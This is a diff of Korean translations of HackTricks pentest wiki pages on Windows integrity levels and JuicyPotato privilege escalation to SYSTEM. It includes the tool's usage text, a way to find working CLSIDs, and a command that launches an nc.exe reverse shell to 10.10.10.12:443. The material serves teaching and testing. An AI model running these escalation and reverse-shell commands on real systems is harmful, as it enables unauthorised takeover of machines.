**Process Explorer**를 사용하여 프로세스의 무결성 수준을 확인할 수 있으며, 프로세스의 **속성**에 접근하고 "**보안**" 탭을 확인합니다:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (824).png>)
|
![](<../../.gitbook/assets/image (824).png>)
|
||||||
|
|
||||||
|
@ -50,10 +36,10 @@ Windows Vista 및 이후 버전에서는 모든 보호된 항목에 **무결성
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (325).png>)
|
![](<../../.gitbook/assets/image (325).png>)
|
||||||
|
|
||||||
### Integrity Levels in File-system
|
### 파일 시스템의 무결성 수준
|
||||||
|
|
||||||
파일 시스템 내의 객체는 **최소 무결성 수준 요구 사항**이 필요할 수 있으며, 프로세스가 이 무결성 수준을 가지지 않으면 상호작용할 수 없습니다.\
|
파일 시스템 내의 객체는 **최소 무결성 수준 요구 사항**이 필요할 수 있으며, 프로세스가 이 무결성 수준을 가지지 않으면 상호작용할 수 없습니다.\
|
||||||
예를 들어, **일반 사용자 콘솔에서 일반 파일을 생성하고 권한을 확인해 보겠습니다**:
|
예를 들어, **일반 사용자 콘솔에서 파일을 생성하고 권한을 확인해 보겠습니다**:
|
||||||
```
|
```
|
||||||
echo asd >asd.txt
|
echo asd >asd.txt
|
||||||
icacls asd.txt
|
icacls asd.txt
|
||||||
|
@ -64,7 +50,7 @@ NT AUTHORITY\INTERACTIVE:(I)(M,DC)
|
||||||
NT AUTHORITY\SERVICE:(I)(M,DC)
|
NT AUTHORITY\SERVICE:(I)(M,DC)
|
||||||
NT AUTHORITY\BATCH:(I)(M,DC)
|
NT AUTHORITY\BATCH:(I)(M,DC)
|
||||||
```
|
```
|
||||||
이제 파일에 최소 무결성 수준을 **높음**으로 설정합시다. 이는 **관리자**로 실행되는 **콘솔**에서 **반드시 수행해야** 하며, **일반 콘솔**은 중간 무결성 수준에서 실행되므로 객체에 높은 무결성 수준을 할당할 수 **없습니다**.
|
이제 파일에 최소 무결성 수준을 **높음**으로 설정합시다. 이는 **관리자로 실행되는 콘솔**에서 **반드시 수행해야** 하며, **일반 콘솔**은 중간 무결성 수준에서 실행되므로 객체에 높은 무결성 수준을 할당할 수 **없습니다**:
|
||||||
```
|
```
|
||||||
icacls asd.txt /setintegritylevel(oi)(ci) High
|
icacls asd.txt /setintegritylevel(oi)(ci) High
|
||||||
processed file: asd.txt
|
processed file: asd.txt
|
||||||
|
@ -79,7 +65,7 @@ NT AUTHORITY\SERVICE:(I)(M,DC)
|
||||||
NT AUTHORITY\BATCH:(I)(M,DC)
|
NT AUTHORITY\BATCH:(I)(M,DC)
|
||||||
Mandatory Label\High Mandatory Level:(NW)
|
Mandatory Label\High Mandatory Level:(NW)
|
||||||
```
|
```
|
||||||
이제 흥미로운 부분입니다. 사용자 `DESKTOP-IDJHTKP\user`가 파일에 대해 **전체 권한**을 가지고 있는 것을 볼 수 있습니다(실제로 이 사용자가 파일을 생성했습니다). 그러나 최소 무결성 수준이 구현되어 있기 때문에, 그는 더 이상 파일을 수정할 수 없습니다. 그가 높은 무결성 수준에서 실행되고 있지 않는 한 말이죠(그는 파일을 읽을 수는 있습니다):
|
이제 흥미로운 부분입니다. 사용자 `DESKTOP-IDJHTKP\user`가 파일에 대해 **전체 권한**을 가지고 있는 것을 볼 수 있습니다(실제로 이 사용자가 파일을 생성했습니다). 그러나 최소 무결성 수준이 구현되어 있기 때문에, 그는 더 이상 파일을 수정할 수 없습니다. 그가 높은 무결성 수준에서 실행되지 않는 한 말이죠(그는 파일을 읽을 수는 있습니다):
|
||||||
```
|
```
|
||||||
echo 1234 > asd.txt
|
echo 1234 > asd.txt
|
||||||
Access is denied.
|
Access is denied.
|
||||||
|
@ -112,33 +98,22 @@ Mandatory Label\Low Mandatory Level:(NW)
|
||||||
|
|
||||||
### 프로세스의 무결성 수준
|
### 프로세스의 무결성 수준
|
||||||
|
|
||||||
모든 파일과 폴더가 최소 무결성 수준을 가지는 것은 아니지만, **모든 프로세스는 무결성 수준에서 실행됩니다**. 파일 시스템에서 발생한 것과 유사하게, **프로세스가 다른 프로세스 내부에 쓰기를 원할 경우 최소한 동일한 무결성 수준을 가져야 합니다**. 이는 낮은 무결성 수준을 가진 프로세스가 중간 무결성 수준을 가진 프로세스에 대한 전체 액세스 핸들을 열 수 없음을 의미합니다.
|
모든 파일과 폴더가 최소 무결성 수준을 가지는 것은 아닙니다, **하지만 모든 프로세스는 무결성 수준에서 실행됩니다**. 파일 시스템에서 발생한 것과 유사하게, **프로세스가 다른 프로세스 내부에 쓰기를 원할 경우 최소한 동일한 무결성 수준을 가져야 합니다**. 이는 낮은 무결성 수준을 가진 프로세스가 중간 무결성 수준을 가진 프로세스에 대한 전체 액세스 핸들을 열 수 없음을 의미합니다.
|
||||||
|
|
||||||
이 섹션과 이전 섹션에서 언급된 제한으로 인해, 보안 관점에서 항상 **가능한 낮은 무결성 수준에서 프로세스를 실행하는 것이 권장됩니다**.
|
이 섹션과 이전 섹션에서 언급된 제한으로 인해, 보안 관점에서 볼 때, 항상 **가능한 낮은 무결성 수준에서 프로세스를 실행하는 것이 권장됩니다**.
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인하는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,49 +15,35 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격을 방지하는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
**JuicyPotato는** Windows Server 2019 및 Windows 10 빌드 1809 이상에서 **작동하지 않습니다**. 그러나, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)를 사용하여 **동일한 권한을 활용하고 `NT AUTHORITY\SYSTEM`** 수준의 접근을 얻을 수 있습니다. _**확인:**_
|
**JuicyPotato는** Windows Server 2019 및 Windows 10 빌드 1809 이상에서 **작동하지 않습니다. 그러나** [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)를 사용하여 **동일한 권한을 활용하고 `NT AUTHORITY\SYSTEM`** 수준의 액세스를 얻을 수 있습니다. _**확인:**_
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% content-ref url="roguepotato-and-printspoofer.md" %}
|
{% content-ref url="roguepotato-and-printspoofer.md" %}
|
||||||
[roguepotato-and-printspoofer.md](roguepotato-and-printspoofer.md)
|
[roguepotato-and-printspoofer.md](roguepotato-and-printspoofer.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Juicy Potato (황금 권한 남용) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
## Juicy Potato (abusing the golden privileges) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||||
|
|
||||||
_조금의 주스를 더한_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, 즉 **Windows 서비스 계정에서 NT AUTHORITY\SYSTEM으로의 또 다른 로컬 권한 상승 도구**_
|
_조금의 주스를 더한_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, 즉 **Windows 서비스 계정에서 NT AUTHORITY\SYSTEM으로의 또 다른 로컬 권한 상승 도구**_
|
||||||
|
|
||||||
#### juicypotato는 [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)에서 다운로드할 수 있습니다.
|
#### juicypotato는 [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)에서 다운로드할 수 있습니다.
|
||||||
|
|
||||||
### 요약 <a href="#summary" id="summary"></a>
|
### Summary <a href="#summary" id="summary"></a>
|
||||||
|
|
||||||
[**juicy-potato Readme에서**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
[**juicy-potato Readme에서**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||||
|
|
||||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) 및 그 [변형들](https://github.com/decoder-it/lonelypotato)은 [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [서비스](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126)를 기반으로 권한 상승 체인을 활용하며, `127.0.0.1:6666`에서 MiTM 리스너를 가지고 있고, `SeImpersonate` 또는 `SeAssignPrimaryToken` 권한이 있을 때 작동합니다. Windows 빌드 검토 중에 `BITS`가 의도적으로 비활성화되고 포트 `6666`이 사용 중인 설정을 발견했습니다.
|
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) 및 그 [변형들](https://github.com/decoder-it/lonelypotato)은 [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [서비스](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126)를 기반으로 한 권한 상승 체인을 활용하며, `127.0.0.1:6666`에서 MiTM 리스너를 가지고 있고, `SeImpersonate` 또는 `SeAssignPrimaryToken` 권한이 있을 때 작동합니다. Windows 빌드 검토 중에 `BITS`가 의도적으로 비활성화되고 포트 `6666`이 사용 중인 설정을 발견했습니다.
|
||||||
|
|
||||||
우리는 [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)를 무기화하기로 결정했습니다: **Juicy Potato에 인사하세요**.
|
우리는 [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)를 무기화하기로 결정했습니다: **Juicy Potato에 인사하세요**.
|
||||||
|
|
||||||
> 이론에 대해서는 [Rotten Potato - 서비스 계정에서 SYSTEM으로의 권한 상승](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)을 참조하고 링크와 참고 문헌을 따라가세요.
|
> 이론에 대해서는 [Rotten Potato - 서비스 계정에서 SYSTEM으로의 권한 상승](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)을 참조하고 링크와 참고 문헌의 체인을 따라가세요.
|
||||||
|
|
||||||
우리는 `BITS` 외에도 남용할 수 있는 여러 COM 서버가 있다는 것을 발견했습니다. 이들은 다음을 충족해야 합니다:
|
우리는 `BITS` 외에도 여러 COM 서버를 악용할 수 있다는 것을 발견했습니다. 이들은 다음을 충족해야 합니다:
|
||||||
|
|
||||||
1. 현재 사용자에 의해 인스턴스화 가능해야 하며, 일반적으로는 임시 권한이 있는 “서비스 사용자”입니다.
|
1. 현재 사용자에 의해 인스턴스화 가능해야 하며, 일반적으로는 임시 권한이 있는 “서비스 사용자”입니다.
|
||||||
2. `IMarshal` 인터페이스를 구현해야 합니다.
|
2. `IMarshal` 인터페이스를 구현해야 합니다.
|
||||||
3. 상승된 사용자(SYSTEM, 관리자 등)로 실행되어야 합니다.
|
3. 상승된 사용자(SYSTEM, Administrator 등)로 실행되어야 합니다.
|
||||||
|
|
||||||
몇 가지 테스트 후, 여러 Windows 버전에서 [흥미로운 CLSID 목록](http://ohpe.it/juicy-potato/CLSID/)을 얻고 테스트했습니다.
|
몇 가지 테스트 후, 여러 Windows 버전에서 [흥미로운 CLSID 목록](http://ohpe.it/juicy-potato/CLSID/)을 얻고 테스트했습니다.
|
||||||
|
|
||||||
|
@ -66,19 +52,19 @@ _조금의 주스를 더한_ [_RottenPotatoNG_](https://github.com/breenmachine/
|
||||||
JuicyPotato는 다음을 허용합니다:
|
JuicyPotato는 다음을 허용합니다:
|
||||||
|
|
||||||
* **대상 CLSID** _원하는 CLSID를 선택하세요._ [_여기_](http://ohpe.it/juicy-potato/CLSID/) _에서 OS별로 정리된 목록을 찾을 수 있습니다._
|
* **대상 CLSID** _원하는 CLSID를 선택하세요._ [_여기_](http://ohpe.it/juicy-potato/CLSID/) _에서 OS별로 정리된 목록을 찾을 수 있습니다._
|
||||||
* **COM 리스닝 포트** _선호하는 COM 리스닝 포트를 정의하세요 (하드코딩된 6666 대신)_
|
* **COM 리스닝 포트** _선호하는 COM 리스닝 포트를 정의하세요(하드코딩된 6666 대신)_
|
||||||
* **COM 리스닝 IP 주소** _서버를 원하는 IP에 바인딩하세요_
|
* **COM 리스닝 IP 주소** _서버를 원하는 IP에 바인딩하세요_
|
||||||
* **프로세스 생성 모드** _임시 사용자 권한에 따라 선택할 수 있습니다:_
|
* **프로세스 생성 모드** _임시 사용자 권한에 따라 선택할 수 있습니다:_
|
||||||
* `CreateProcessWithToken` (필요: `SeImpersonate`)
|
* `CreateProcessWithToken` (필요: `SeImpersonate`)
|
||||||
* `CreateProcessAsUser` (필요: `SeAssignPrimaryToken`)
|
* `CreateProcessAsUser` (필요: `SeAssignPrimaryToken`)
|
||||||
* `둘 다`
|
* `둘 다`
|
||||||
* **실행할 프로세스** _악용이 성공하면 실행할 실행 파일이나 스크립트_
|
* **시작할 프로세스** _익스플로잇이 성공하면 실행할 실행 파일 또는 스크립트_
|
||||||
* **프로세스 인수** _실행된 프로세스 인수를 사용자 정의_
|
* **프로세스 인수** _실행된 프로세스 인수를 사용자 정의하세요_
|
||||||
* **RPC 서버 주소** _은밀한 접근을 위해 외부 RPC 서버에 인증할 수 있습니다_
|
* **RPC 서버 주소** _은밀한 접근을 위해 외부 RPC 서버에 인증할 수 있습니다_
|
||||||
* **RPC 서버 포트** _외부 서버에 인증하고 방화벽이 포트 `135`를 차단하는 경우 유용합니다…_
|
* **RPC 서버 포트** _외부 서버에 인증하고 방화벽이 포트 `135`를 차단하는 경우 유용합니다…_
|
||||||
* **테스트 모드** _주로 테스트 목적, 즉 CLSID 테스트를 위한 것입니다. DCOM을 생성하고 토큰의 사용자를 출력합니다. _[_테스트를 위한 여기_](http://ohpe.it/juicy-potato/Test/)를 참조하세요._
|
* **테스트 모드** _주로 테스트 목적, 즉 CLSID 테스트를 위한 것입니다. DCOM을 생성하고 토큰의 사용자를 출력합니다. _[_테스트를 위한 여기_](http://ohpe.it/juicy-potato/Test/)를 참조하세요._
|
||||||
|
|
||||||
### 사용법 <a href="#usage" id="usage"></a>
|
### Usage <a href="#usage" id="usage"></a>
|
||||||
```
|
```
|
||||||
T:\>JuicyPotato.exe
|
T:\>JuicyPotato.exe
|
||||||
JuicyPotato v0.1
|
JuicyPotato v0.1
|
||||||
|
@ -95,23 +81,23 @@ Optional args:
|
||||||
-k <ip>: RPC server ip address (default 127.0.0.1)
|
-k <ip>: RPC server ip address (default 127.0.0.1)
|
||||||
-n <port>: RPC server listen port (default 135)
|
-n <port>: RPC server listen port (default 135)
|
||||||
```
|
```
|
||||||
### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a>
|
### 최종 생각 <a href="#final-thoughts" id="final-thoughts"></a>
|
||||||
|
|
||||||
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
[**juicy-potato Readme에서**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||||
|
|
||||||
사용자가 `SeImpersonate` 또는 `SeAssignPrimaryToken` 권한을 가지고 있다면, 당신은 **SYSTEM**입니다.
|
사용자가 `SeImpersonate` 또는 `SeAssignPrimaryToken` 권한을 가지고 있다면, 당신은 **SYSTEM**입니다.
|
||||||
|
|
||||||
이 모든 COM 서버의 남용을 방지하는 것은 거의 불가능합니다. `DCOMCNFG`를 통해 이러한 객체의 권한을 수정하는 것을 고려할 수 있지만, 행운을 빕니다. 이는 도전적일 것입니다.
|
이 모든 COM 서버의 남용을 방지하는 것은 거의 불가능합니다. `DCOMCNFG`를 통해 이러한 객체의 권한을 수정하는 것을 고려할 수 있지만, 행운을 빕니다. 이는 도전적일 것입니다.
|
||||||
|
|
||||||
실제 해결책은 `* SERVICE` 계정으로 실행되는 민감한 계정과 애플리케이션을 보호하는 것입니다. `DCOM`을 중지하면 이 익스플로잇을 확실히 억제할 수 있지만, 기본 OS에 심각한 영향을 미칠 수 있습니다.
|
실제 해결책은 `* SERVICE` 계정 아래에서 실행되는 민감한 계정과 애플리케이션을 보호하는 것입니다. `DCOM`을 중지하면 이 익스플로잇을 확실히 억제할 수 있지만, 기본 OS에 심각한 영향을 미칠 수 있습니다.
|
||||||
|
|
||||||
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
출처: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
||||||
|
|
||||||
## Examples
|
## 예시
|
||||||
|
|
||||||
Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try.
|
참고: 시도할 CLSID 목록은 [이 페이지](https://ohpe.it/juicy-potato/CLSID/)를 방문하세요.
|
||||||
|
|
||||||
### Get a nc.exe reverse shell
|
### nc.exe 리버스 셸 얻기
|
||||||
```
|
```
|
||||||
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
|
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
|
||||||
|
|
||||||
|
@ -134,7 +120,7 @@ c:\Users\Public>
|
||||||
|
|
||||||
## CLSID 문제
|
## CLSID 문제
|
||||||
|
|
||||||
대부분의 경우, JuicyPotato가 사용하는 기본 CLSID는 **작동하지 않**으며 익스플로잇이 실패합니다. 일반적으로 **작동하는 CLSID**를 찾기 위해 여러 번 시도해야 합니다. 특정 운영 체제에 대해 시도할 CLSID 목록을 얻으려면 이 페이지를 방문해야 합니다:
|
대부분의 경우, JuicyPotato가 사용하는 기본 CLSID는 **작동하지 않으며** 익스플로잇이 실패합니다. 일반적으로 **작동하는 CLSID**를 찾기 위해 여러 번 시도해야 합니다. 특정 운영 체제에 대해 시도할 CLSID 목록을 얻으려면 이 페이지를 방문해야 합니다:
|
||||||
|
|
||||||
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
|
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
|
||||||
|
|
||||||
|
@ -142,27 +128,16 @@ c:\Users\Public>
|
||||||
|
|
||||||
먼저, juicypotato.exe 외에 몇 가지 실행 파일이 필요합니다.
|
먼저, juicypotato.exe 외에 몇 가지 실행 파일이 필요합니다.
|
||||||
|
|
||||||
[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1)를 다운로드하고 PS 세션에 로드한 후, [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)을 다운로드하여 실행합니다. 해당 스크립트는 테스트할 수 있는 가능한 CLSID 목록을 생성합니다.
|
[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1)를 다운로드하고 PS 세션에 로드한 후, [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)를 다운로드하여 실행합니다. 해당 스크립트는 테스트할 수 있는 CLSID 목록을 생성합니다.
|
||||||
|
|
||||||
그런 다음 [test\_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat)(CLSID 목록과 juicypotato 실행 파일의 경로를 변경) 을 다운로드하고 실행합니다. 그러면 모든 CLSID를 시도하기 시작하며, **포트 번호가 변경되면 CLSID가 작동했음을 의미합니다**.
|
그런 다음 [test\_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat)(CLSID 목록과 juicypotato 실행 파일의 경로를 변경) 을 다운로드하고 실행합니다. 이 스크립트는 모든 CLSID를 시도하기 시작하며, **포트 번호가 변경되면 CLSID가 작동했음을 의미합니다**.
|
||||||
|
|
||||||
**-c 매개변수를 사용하여** 작동하는 CLSID를 **확인하세요.**
|
**-c 매개변수를 사용하여** 작동하는 CLSID를 **확인하세요.**
|
||||||
|
|
||||||
## 참고자료
|
## 참고 문헌
|
||||||
|
|
||||||
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
|
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 악성코드**에 의해 **침해되었는지** 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료로** 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -173,8 +148,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,22 +15,8 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
**JuicyPotato는** Windows Server 2019 및 Windows 10 빌드 1809 이상에서 **작동하지 않습니다**. 그러나, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)**를 사용하여 **동일한 권한을 활용하고 `NT AUTHORITY\SYSTEM`** 수준의 접근을 얻을 수 있습니다. 이 [블로그 게시물](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)은 JuicyPotato가 더 이상 작동하지 않는 Windows 10 및 Server 2019 호스트에서 임시 권한을 남용하는 데 사용할 수 있는 `PrintSpoofer` 도구에 대해 심층적으로 설명합니다.
|
